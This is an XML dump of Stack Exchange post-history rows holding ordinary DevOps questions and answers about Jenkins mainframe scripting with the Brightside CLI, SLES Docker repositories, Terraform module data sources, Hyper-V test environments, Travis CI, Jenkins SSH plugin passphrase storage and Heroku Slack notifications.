  <row Id="13487" PostHistoryTypeId="5" PostId="4286" RevisionGUID="38cf8045-ae28-4ea4-ade8-367548cd4039" CreationDate="2018-06-13T17:23:44.097" UserId="8291" Comment="edited body" Text="In general, there are two ways to automate actions from Jenkins:&#xD;&#xA;&#xD;&#xA; 1. Install a plugin for Jenkins and use it in steps to automate tasks.&#xD;&#xA; 2. Write a script (shell, python, other) and call it from a step to automate tasks.&#xD;&#xA;&#xD;&#xA;There are drawbacks / benefits to both approaches. While #1 - the plugin approach - gives you out of the box functionality and does not require you to script, it may be rigid and limited in its abilities. #2 - the scripting approach - requires you to write scripts, as well as maintain them, but may provide much more flexibiity and freedom in automating things.&#xD;&#xA;&#xD;&#xA;The scripting approach generally uses a lot of CLIs - aws cli, docker cli, etc. &#xD;&#xA;&#xD;&#xA;If #2 - the scripting approach - is viable and you're comfortable with writing shell scripts or other scripts like python to interact with the mainframe, then Brightside can help. &#xD;&#xA;&#xD;&#xA;Here's an example of using [Brightside (free CLI)][1] to interact with PDS on z/OS from a shell script:&#xD;&#xA;&#xD;&#xA;        #!/bin/sh&#xD;&#xA;        echo 'bright files create classic &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files create classic &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files download all-members &quot;USER.LIB.SAMP&quot; -d MyPDS'&#xD;&#xA;        bright files download all-members &quot;USER.LIB.SAMP&quot; -d MyPDS&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files upload dir-to-pds MyPDS &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files upload dir-to-pds MyPDS &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;&#xD;&#xA;Here's the output from that script:&#xD;&#xA;&#xD;&#xA;[![Output from script part 2][5]][5]&#xD;&#xA;[![Output from script part 1][4]][4]&#xD;&#xA;&#xD;&#xA;Easy enough to call these scripts from Jenkins and parse the output for whatever purpose.&#xD;&#xA;&#xD;&#xA;Full disclosure: I work for CA who created Brightside but we do use this CLI internally for the exact purpose of integrating our mainframe application testing with Jenkins.&#xD;&#xA;&#xD;&#xA;&lt;https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/aCZxu.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/K4hMr.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/aTjO7.jpg&#xD;&#xA;  [5]: https://i.stack.imgur.com/wGfqi.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="13491" PostHistoryTypeId="5" PostId="1476" RevisionGUID="8feabed8-e109-494c-a991-c59513c494a2" CreationDate="2018-06-14T11:37:20.010" UserId="707" Comment="added 83 characters in body" Text="To use a dockerized SLES, you need to use an official base image and run it on a SLES host. &#xD;&#xA;&#xD;&#xA;But this does not seem to work out of the box - what needs to be done to build a custom image?&#xD;&#xA;&#xD;&#xA;Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM suse/sles12:latest&#xD;&#xA;    RUN zypper ref -s&#xD;&#xA;    RUN zypper --gpg-auto-import-keys ref -s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Docker build output - image will be created but obviously it is not possible to install any packages because the central repo seems to be not preconfigured.&#xD;&#xA;&#xD;&#xA;Vendor documentation: https://www.suse.com/documentation/sles-12/book_sles_docker/data/customizing_pre-build_images.html&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon  3.584kB&#xD;&#xA;    Step 1/3 : FROM suse/sles12:latest&#xD;&#xA;     ---&gt; d0f7e807658b&#xD;&#xA;    Step 2/3 : RUN zypper ref -s&#xD;&#xA;     ---&gt; Running in 235316f5bbe1&#xD;&#xA;    Refreshing service 'container-suseconnect'.&#xD;&#xA;    Problem retrieving the repository index file for service 'container-suseconnect':&#xD;&#xA;    [container-suseconnect|file:/usr/lib/zypp/plugins/services/container-suseconnect]&#xD;&#xA;    Warning: Skipping service 'container-suseconnect' because of the above error.&#xD;&#xA;    All services have been refreshed.&#xD;&#xA;    Warning: There are no enabled repositories defined.&#xD;&#xA;    Use 'zypper addrepo' or 'zypper modifyrepo' commands to add or enable repositories.&#xD;&#xA;     ---&gt; 21e8beb32227&#xD;&#xA;    Removing intermediate container 235316f5bbe1&#xD;&#xA;    Step 3/3 : RUN zypper --gpg-auto-import-keys ref -s&#xD;&#xA;     ---&gt; Running in 72ba1ad22da8&#xD;&#xA;    Refreshing service 'container-suseconnect'.&#xD;&#xA;    Warning: Skipping service 'container-suseconnect' because of the above error.&#xD;&#xA;    All services have been refreshed.&#xD;&#xA;    Warning: There are no enabled repositories defined.&#xD;&#xA;    Use 'zypper addrepo' or 'zypper modifyrepo' commands to add or enable repositories.&#xD;&#xA;    Problem retrieving the repository index file for service 'container-suseconnect':&#xD;&#xA;    [container-suseconnect|file:/usr/lib/zypp/plugins/services/container-suseconnect]&#xD;&#xA;     ---&gt; 6426e55c2d87&#xD;&#xA;    Removing intermediate container 72ba1ad22da8&#xD;&#xA;    Successfully built 6426e55c2d87&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA; UPD. While this one is working:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;     docker run -it suse/sles12 bash -c &quot;zypper -n ref -s&quot;&#xD;&#xA;     Adding repository 'SLES12-Debuginfo-Pool for sle-12-x86_64' ...[done]&#xD;&#xA;     .....&#xD;&#xA;&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13492" PostHistoryTypeId="6" PostId="1476" RevisionGUID="8feabed8-e109-494c-a991-c59513c494a2" CreationDate="2018-06-14T11:37:20.010" UserId="707" Comment="added 83 characters in body" Text="&lt;containers&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13496" PostHistoryTypeId="2" PostId="4299" RevisionGUID="08018bcf-e3e1-486f-bbc4-c3a85ffc4709" CreationDate="2018-06-14T13:38:40.713" UserId="8332" Text="I'm fairly new to Terraform and have been following this example on creating an EKS cluster - https://github.com/terraform-providers/terraform-provider-aws/tree/master/examples/eks-getting-started&#xD;&#xA;&#xD;&#xA;Only difference is that I've broken the structure up into modules:&#xD;&#xA;&#xD;&#xA;    -main.tf&#xD;&#xA;    -vpc&#xD;&#xA;       vpc.tf&#xD;&#xA;       vars.tf&#xD;&#xA;    -eks&#xD;&#xA;       eks-cluster.tf&#xD;&#xA;       eks-worker-nodes.tf&#xD;&#xA;       vars.tf&#xD;&#xA;       outputs.tf&#xD;&#xA;&#xD;&#xA;In 'main.tf' I've got the following&#xD;&#xA;&#xD;&#xA;    provider &quot;aws&quot; {&#xD;&#xA;      region     = &quot;us-east-1&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # Using these data sources allows the configuration to be&#xD;&#xA;    # generic for any region.&#xD;&#xA;    data &quot;aws_region&quot; &quot;current&quot; {}&#xD;&#xA;&#xD;&#xA;    data &quot;aws_availability_zones&quot; &quot;available&quot; {}&#xD;&#xA;&#xD;&#xA;When I run a 'terraform plan' I get the following error which comes from eks-worker-nodes.tf :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     * module.eks.local.demo-node-userdata: local.demo-node-userdata: &#xD;&#xA;     Resource 'data.aws_region.current' not found for variable &#xD;&#xA;    'data.aws_region.current.name'       &#xD;&#xA;&#xD;&#xA;Is there any reason why it wouldn't be able to access the data source? I'm fairly new to Terraform but I've done some googling and couldn't find a clear answer :/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13497" PostHistoryTypeId="1" PostId="4299" RevisionGUID="08018bcf-e3e1-486f-bbc4-c3a85ffc4709" CreationDate="2018-06-14T13:38:40.713" UserId="8332" Text="Terraform Issue - Can't find Data Source in Sub Module?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13498" PostHistoryTypeId="3" PostId="4299" RevisionGUID="08018bcf-e3e1-486f-bbc4-c3a85ffc4709" CreationDate="2018-06-14T13:38:40.713" UserId="8332" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13499" PostHistoryTypeId="2" PostId="4300" RevisionGUID="be1f4de8-b2f4-4fe4-90ab-7ff7b761e788" CreationDate="2018-06-14T13:42:18.457" UserId="8333" Text="You need to pass that info to your module or also declare it in your module again. For example, for the region, pass it as a variable to the module:&#xD;&#xA;&#xD;&#xA;    module &quot;foo&quot; {&#xD;&#xA;      ...&#xD;&#xA;      current_region = &quot;${data.aws_region.current.name}&quot;&#xD;&#xA;      ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or add it inline in your module, just like you did in your `main.tf`" ContentLicense="CC BY-SA 4.0" />
  <row Id="13503" PostHistoryTypeId="5" PostId="4286" RevisionGUID="e654c186-b3b5-4d3b-9575-b6b4e8ac2140" CreationDate="2018-06-14T15:54:36.577" UserId="8291" Comment="added 6 characters in body" Text="In general, there are two ways to automate actions from Jenkins:&#xD;&#xA;&#xD;&#xA; 1. Install a plugin for Jenkins and use it in steps to automate tasks.&#xD;&#xA; 2. Write a script (shell, python, other) and call it from a step to automate tasks.&#xD;&#xA;&#xD;&#xA;There are drawbacks / benefits to both approaches. While #1 - the plugin approach - gives you out of the box functionality and does not require you to script, it may be rigid and limited in its abilities. #2 - the scripting approach - requires you to write scripts, as well as maintain them, but may provide much more flexibiity and freedom in automating things.&#xD;&#xA;&#xD;&#xA;The scripting approach generally uses a lot of CLIs - aws cli, docker cli, etc. &#xD;&#xA;&#xD;&#xA;If #2 - the scripting approach - is viable and you're comfortable with writing shell scripts or other scripts like python to interact with the mainframe, then Brightside can help. &#xD;&#xA;&#xD;&#xA;Here's an example of using [Brightside (free CLI)][1] to interact with PDS on z/OS from a shell script:&#xD;&#xA;&#xD;&#xA;        #!/bin/sh&#xD;&#xA;        echo 'bright files create classic &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files create classic &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files download all-members &quot;USER.LIB.SAMP&quot; -d MyPDS'&#xD;&#xA;        bright files download all-members &quot;USER.LIB.SAMP&quot; -d MyPDS&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files upload dir-to-pds MyPDS &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files upload dir-to-pds MyPDS &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;&#xD;&#xA;Here's the output from that script:&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;Easy enough to call these scripts from Jenkins and parse the output for whatever purpose.&#xD;&#xA;&#xD;&#xA;Full disclosure: I work for CA who created Brightside but we do use this CLI internally for the exact purpose of integrating our mainframe application testing with Jenkins.&#xD;&#xA;&#xD;&#xA;&lt;https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/wGfqi.jpg&#xD;&#xA;  [3]: https://i.stack.imgur.com/aTjO7.jpg&#xD;&#xA;  [4]: https://i.stack.imgur.com/ruVTc.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/BwueG.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13505" PostHistoryTypeId="50" PostId="2341" RevisionGUID="956050b2-55d1-4833-b8fc-11ee488ee0ea" CreationDate="2018-06-14T19:07:03.107" UserId="-1" />
  <row Id="13506" PostHistoryTypeId="2" PostId="4302" RevisionGUID="b6d56c12-851e-4a46-8e46-da8b3f963a73" CreationDate="2018-06-14T20:36:09.100" UserId="8341" Text="I had the same issue. I was getting back ip addresses with underscores instead of dots. But I have several times now noticed that changing the ini file and re-running ec2.py won't immediately return the correct information. Once I changed to private_ip_address and it kept returning private_dns_name for a while. This time, after changing to private_ip_address and re-running it several times -- trying it and trying it and trying it -- after about 20 minutes it suddenly started returning IP addresses with dots instead of underscores! I dunno. Weird AF, right?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13507" PostHistoryTypeId="2" PostId="4303" RevisionGUID="d41d85b7-79c8-4caf-b546-13d49fc95fff" CreationDate="2018-06-15T05:35:48.753" UserId="8345" Text="You can review CodeBuild. The BuildScpec file can be put in the CodeBuild project.[![CodeBuild Project][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/qaKxX.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13509" PostHistoryTypeId="5" PostId="1476" RevisionGUID="58da5695-9643-41df-821a-f221e417abf9" CreationDate="2018-06-15T08:24:55.517" UserId="707" Comment="added 163 characters in body" Text="To use a dockerized SLES, you need to use an official base image and run it on a SLES host. &#xD;&#xA;&#xD;&#xA;But this does not seem to work out of the box - what needs to be done to build a custom image?&#xD;&#xA;&#xD;&#xA;Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM suse/sles12:latest&#xD;&#xA;    RUN zypper ref -s&#xD;&#xA;    RUN zypper --gpg-auto-import-keys ref -s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Docker build output - image will be created but obviously it is not possible to install any packages because the central repo seems to be not preconfigured.&#xD;&#xA;&#xD;&#xA;Vendor documentation: https://www.suse.com/documentation/sles-12/book_sles_docker/data/customizing_pre-build_images.html&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon  3.584kB&#xD;&#xA;    Step 1/3 : FROM suse/sles12:latest&#xD;&#xA;     ---&gt; d0f7e807658b&#xD;&#xA;    Step 2/3 : RUN zypper ref -s&#xD;&#xA;     ---&gt; Running in 235316f5bbe1&#xD;&#xA;    Refreshing service 'container-suseconnect'.&#xD;&#xA;    Problem retrieving the repository index file for service 'container-suseconnect':&#xD;&#xA;    [container-suseconnect|file:/usr/lib/zypp/plugins/services/container-suseconnect]&#xD;&#xA;    Warning: Skipping service 'container-suseconnect' because of the above error.&#xD;&#xA;    All services have been refreshed.&#xD;&#xA;    Warning: There are no enabled repositories defined.&#xD;&#xA;    Use 'zypper addrepo' or 'zypper modifyrepo' commands to add or enable repositories.&#xD;&#xA;     ---&gt; 21e8beb32227&#xD;&#xA;    Removing intermediate container 235316f5bbe1&#xD;&#xA;    Step 3/3 : RUN zypper --gpg-auto-import-keys ref -s&#xD;&#xA;     ---&gt; Running in 72ba1ad22da8&#xD;&#xA;    Refreshing service 'container-suseconnect'.&#xD;&#xA;    Warning: Skipping service 'container-suseconnect' because of the above error.&#xD;&#xA;    All services have been refreshed.&#xD;&#xA;    Warning: There are no enabled repositories defined.&#xD;&#xA;    Use 'zypper addrepo' or 'zypper modifyrepo' commands to add or enable repositories.&#xD;&#xA;    Problem retrieving the repository index file for service 'container-suseconnect':&#xD;&#xA;    [container-suseconnect|file:/usr/lib/zypp/plugins/services/container-suseconnect]&#xD;&#xA;     ---&gt; 6426e55c2d87&#xD;&#xA;    Removing intermediate container 72ba1ad22da8&#xD;&#xA;    Successfully built 6426e55c2d87&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA; UPD. While this one is working:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;     docker run -it suse/sles12 bash -c &quot;zypper -n ref -s&quot;&#xD;&#xA;     Adding repository 'SLES12-Debuginfo-Pool for sle-12-x86_64' ...[done]&#xD;&#xA;     .....&#xD;&#xA;&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;UPD. Finally, the following worked for me: run a container, install everything there and finally commit the container to a new image (`docker commit container-id image`).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13510" PostHistoryTypeId="2" PostId="4304" RevisionGUID="560c2cce-cb98-4e44-94f8-dc7f106c9329" CreationDate="2018-06-15T08:56:53.533" UserId="8347" Text="I'm looking for tools that would help our team create and manage environments for our internal testing and debugging.&#xD;&#xA;&#xD;&#xA;Each environment consists of single windows server and multiple windows clients. They should be on isolated network and there should be active directory set up for them. Then, either developer of CI would connect to the server, install our application and run UI tests.&#xD;&#xA;&#xD;&#xA;We have local Hyper-V server available to run those environments.&#xD;&#xA;&#xD;&#xA;Requirements I have for management of such environments (in decreasing order of importance):&#xD;&#xA;&#xD;&#xA; 1. Ability to reset environment to default state&#xD;&#xA; 1. Can create and remove new environments&#xD;&#xA; 1. Helps setting up server and client's AD&#xD;&#xA; 1. Multiple independent environments at the same time.&#xD;&#xA; 1. Can define how many and of what type each client should be.&#xD;&#xA;  - Windows version and x64/x86&#xD;&#xA;  - Pre-installed applications&#xD;&#xA; 1. Can create/clone environment quickly&#xD;&#xA;&#xD;&#xA;My short reasearch found out these tools:&#xD;&#xA;&#xD;&#xA;**VirtualLab Lability** Seems to be best fit for our need. But it is not mature and supported enough. I have yet to be able to run it properly.&#xD;&#xA;&#xD;&#xA;**Vagrant** Might have problems setting up multiple machines. And I read it cannot create new switches for Hyper-V&#xD;&#xA;&#xD;&#xA;**Terraform** has no support for Hyper-V.&#xD;&#xA;&#xD;&#xA;Are there any tools that would help me with my requirements? I can always code it myself, but I'm starting to figure out that will be lots of work.&#xD;&#xA;&#xD;&#xA;Another option that might also work is using different virtualization technology.  But that is last-resort option." ContentLicense="CC BY-SA 4.0" />
  <row Id="13511" PostHistoryTypeId="1" PostId="4304" RevisionGUID="560c2cce-cb98-4e44-94f8-dc7f106c9329" CreationDate="2018-06-15T08:56:53.533" UserId="8347" Text="Tools for provisioning windows testing environment on Hyper-V" ContentLicense="CC BY-SA 4.0" />
  <row Id="13512" PostHistoryTypeId="3" PostId="4304" RevisionGUID="560c2cce-cb98-4e44-94f8-dc7f106c9329" CreationDate="2018-06-15T08:56:53.533" UserId="8347" Text="&lt;testing&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13513" PostHistoryTypeId="5" PostId="4304" RevisionGUID="8e85328e-d3ed-4c0f-93fc-9f3df77b79de" CreationDate="2018-06-15T09:06:25.553" UserId="8347" Comment="added 120 characters in body" Text="I'm looking for tools that would help our team create and manage environments for our internal testing and debugging.&#xD;&#xA;&#xD;&#xA;Each environment consists of single windows server and multiple windows clients. They should be on isolated network and there should be active directory set up for them. Then, either developer of CI would connect to the server, install our application and run UI tests.&#xD;&#xA;&#xD;&#xA;We have local Hyper-V server available to run those environments.&#xD;&#xA;&#xD;&#xA;Requirements I have for management of such environments (in decreasing order of importance):&#xD;&#xA;&#xD;&#xA; 1. Ability to reset environment to default state&#xD;&#xA; 1. Can create and remove new environments&#xD;&#xA; 1. Helps setting up server and client's AD&#xD;&#xA; 1. Multiple independent environments at the same time.&#xD;&#xA; 1. Can define how many and of what type each client should be.&#xD;&#xA;  - Windows version and x64/x86&#xD;&#xA;  - Pre-installed applications&#xD;&#xA; 1. Can create/clone environment quickly&#xD;&#xA;&#xD;&#xA;My short reasearch found out these tools:&#xD;&#xA;&#xD;&#xA;**VirtualLab Lability** Seems to be best fit for our need. But it is not mature and supported enough. I have yet to be able to run it properly.&#xD;&#xA;&#xD;&#xA;**Vagrant** Might have problems setting up multiple machines. And I read it cannot create new switches for Hyper-V&#xD;&#xA;&#xD;&#xA;**Terraform** has no support for Hyper-V.&#xD;&#xA;&#xD;&#xA;Are there any tools that would help me with my requirements? I can always code it myself, but I'm starting to figure out that will be lots of work.&#xD;&#xA;&#xD;&#xA;Another option that might also work is using different virtualization technology.  But that is last-resort option.&#xD;&#xA;&#xD;&#xA;Also, I don't have any budget, so I expect everything to be free. But I'm not against paid options if there are any." ContentLicense="CC BY-SA 4.0" />
  <row Id="13514" PostHistoryTypeId="2" PostId="4305" RevisionGUID="0314e9e6-d039-4f5b-a0ce-468436ffafab" CreationDate="2018-06-15T09:49:42.803" UserId="8348" Text="Travis CI originally created two separated platforms to differentiate between private repos / paid ([travis-ci.com](https://travis-ci.com)) and public repos / free ([travis-ci.org](https://travis-ci.org)).&#xD;&#xA;&#xD;&#xA;However, as of May 2018, **new users and projects (both private and public) should only use [travis-ci.com](https://travis-ci.com)** (see [official announcement](https://blog.travis-ci.com/2018-05-02-open-source-projects-on-travis-ci-com-with-github-apps)).&#xD;&#xA;&#xD;&#xA;&gt; Over the next several months, we’ll be migrating all travis-ci.org repositories and customers to travis-ci.com. Though this will not happen right away, you can go ahead and read more about what to expect [in the docs](https://docs.travis-ci.com/user/open-source-on-travis-ci-com/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="13515" PostHistoryTypeId="50" PostId="3883" RevisionGUID="1e52e456-5539-4a70-a082-03a93e1b47e4" CreationDate="2018-06-15T10:25:42.143" UserId="-1" />
  <row Id="13516" PostHistoryTypeId="2" PostId="4306" RevisionGUID="cfad231f-70f4-4a61-8fa8-e454c36b4dd2" CreationDate="2018-06-15T10:40:13.747" UserId="8349" Text="When I look in jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml I can see several entries, that have secretPassphrase populated with a string 44 characters long. By using hudson.util.Secret.fromString in the /script tool, I can decrypt them and see that password. Fine so far.&#xD;&#xA;&#xD;&#xA;However... I also have an entry there where the secretPassphrase is populated with a string only 24 characters long, which cannot be decrypted. Trying gets me an empty result, which is strange, because decrypting &quot;asdfasdf&quot; returns &quot;asdfasdf&quot;. So there must be something special about this string which is preventing the decryption for working, or from returning the default. But deployments to this server work; so the passphrase is correct. But the secretPassphrase is NOT the actual password on the server.&#xD;&#xA;&#xD;&#xA;Which means jenkins must be using some other method of decrypting that passphrase, besides the standared hudson.util one. What is it? How can I recover this password?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13517" PostHistoryTypeId="1" PostId="4306" RevisionGUID="cfad231f-70f4-4a61-8fa8-e454c36b4dd2" CreationDate="2018-06-15T10:40:13.747" UserId="8349" Text="How does jenkins publish over ssh store passphrases?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13518" PostHistoryTypeId="3" PostId="4306" RevisionGUID="cfad231f-70f4-4a61-8fa8-e454c36b4dd2" CreationDate="2018-06-15T10:40:13.747" UserId="8349" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;passwords&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13522" PostHistoryTypeId="19" PostId="1361" RevisionGUID="62ff1fec-6684-49fa-b00e-36d47ee68bd7" CreationDate="2018-06-15T14:30:04.347" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]}" />
  <row Id="13523" PostHistoryTypeId="2" PostId="4308" RevisionGUID="30f4a204-9c8e-4adf-997d-9921bf612eea" CreationDate="2018-06-15T16:10:54.617" UserId="4115" Text="According to the [source code for the Publish Over SSH plugin](https://github.com/jenkinsci/publish-over-ssh-plugin/blob/master/src/main/java/jenkins/plugins/publish_over_ssh/BapSshKeyInfo.java#L47-L58h), the passphrase is encrypted and decrypted using [`hudson.util.Secret`](http://javadoc.jenkins-ci.org/hudson/util/Secret.html), and the encrypted value is stored in the plugin's XML configuration file.&#xD;&#xA;&#xD;&#xA;Supposedly there is [ongoing work to switch to using Jenkins' built-in credentials store](https://github.com/jenkinsci/publish-over-plugin/pull/4); however, I don't see any active pull requests for such a change." ContentLicense="CC BY-SA 4.0" />
  <row Id="13528" PostHistoryTypeId="2" PostId="4310" RevisionGUID="80655596-026c-4421-8056-2a0689f2d2c4" CreationDate="2018-06-16T10:52:02.130" UserId="8363" Text="Heroku has this great slack chatbot ([chatops][1]) that lets you send messages if a deployment pipeline succeeded or failed. Unfortunately, while setting it up and logging in to heroku, it asks for your github account and will not let you chose a different dvcs provider.&#xD;&#xA;&#xD;&#xA;Since I am using Bitbucket, this leaves me without a solution for pipeline notifications. Has anyone solved this in the past?&#xD;&#xA;&#xD;&#xA;  [1]: https://devcenter.heroku.com/articles/chatops" ContentLicense="CC BY-SA 4.0" />
  <row Id="13529" PostHistoryTypeId="1" PostId="4310" RevisionGUID="80655596-026c-4421-8056-2a0689f2d2c4" CreationDate="2018-06-16T10:52:02.130" UserId="8363" Text="Heroku Slack integration without using Github" ContentLicense="CC BY-SA 4.0" />
  <row Id="13530" PostHistoryTypeId="3" PostId="4310" RevisionGUID="80655596-026c-4421-8056-2a0689f2d2c4" CreationDate="2018-06-16T10:52:02.130" UserId="8363" Text="&lt;git&gt;&lt;slack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13531" PostHistoryTypeId="5" PostId="4310" RevisionGUID="3a8abae3-dae8-4697-98ee-f6c9069553ee" CreationDate="2018-06-16T11:38:17.530" UserId="739" Comment="add authentication tag and capitalization" Text="Heroku has this great Slack chatbot ([chatops][1]) that lets you send messages if a deployment pipeline succeeded or failed. Unfortunately, while setting it up and logging in to Heroku, it asks for your github account and will not let you chose a different DBCS provider.&#xD;&#xA;&#xD;&#xA;Since I am using Bitbucket, this leaves me without a solution for pipeline notifications. Has anyone solved this in the past?&#xD;&#xA;&#xD;&#xA;  [1]: https://devcenter.heroku.com/articles/chatops" ContentLicense="CC BY-SA 4.0" />
  <row Id="13532" PostHistoryTypeId="6" PostId="4310" RevisionGUID="3a8abae3-dae8-4697-98ee-f6c9069553ee" CreationDate="2018-06-16T11:38:17.530" UserId="739" Comment="add authentication tag and capitalization" Text="&lt;git&gt;&lt;slack&gt;&lt;authentication&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13533" PostHistoryTypeId="24" PostId="4310" RevisionGUID="3a8abae3-dae8-4697-98ee-f6c9069553ee" CreationDate="2018-06-16T11:38:17.530" Comment="Proposed by 739 approved by -1 edit id of 717" ContentLicense="CC BY-SA 4.0" />
  <row Id="13534" PostHistoryTypeId="5" PostId="4310" RevisionGUID="b37ac908-a9f7-4b95-9a08-0052065e22a8" CreationDate="2018-06-16T11:38:17.530" UserId="8363" Comment="add authentication tag and capitalization" Text="Heroku has this great Slack chatbot ([chatops][1]) that lets you send messages if a deployment pipeline succeeded or failed. Unfortunately, while setting it up and logging in to Heroku, it asks for your github account and will not let you chose a different DVCS provider.&#xD;&#xA;&#xD;&#xA;Since I am using Bitbucket, this leaves me without a solution for pipeline notifications. Has anyone solved this in the past?&#xD;&#xA;&#xD;&#xA;  [1]: https://devcenter.heroku.com/articles/chatops" ContentLicense="CC BY-SA 4.0" />
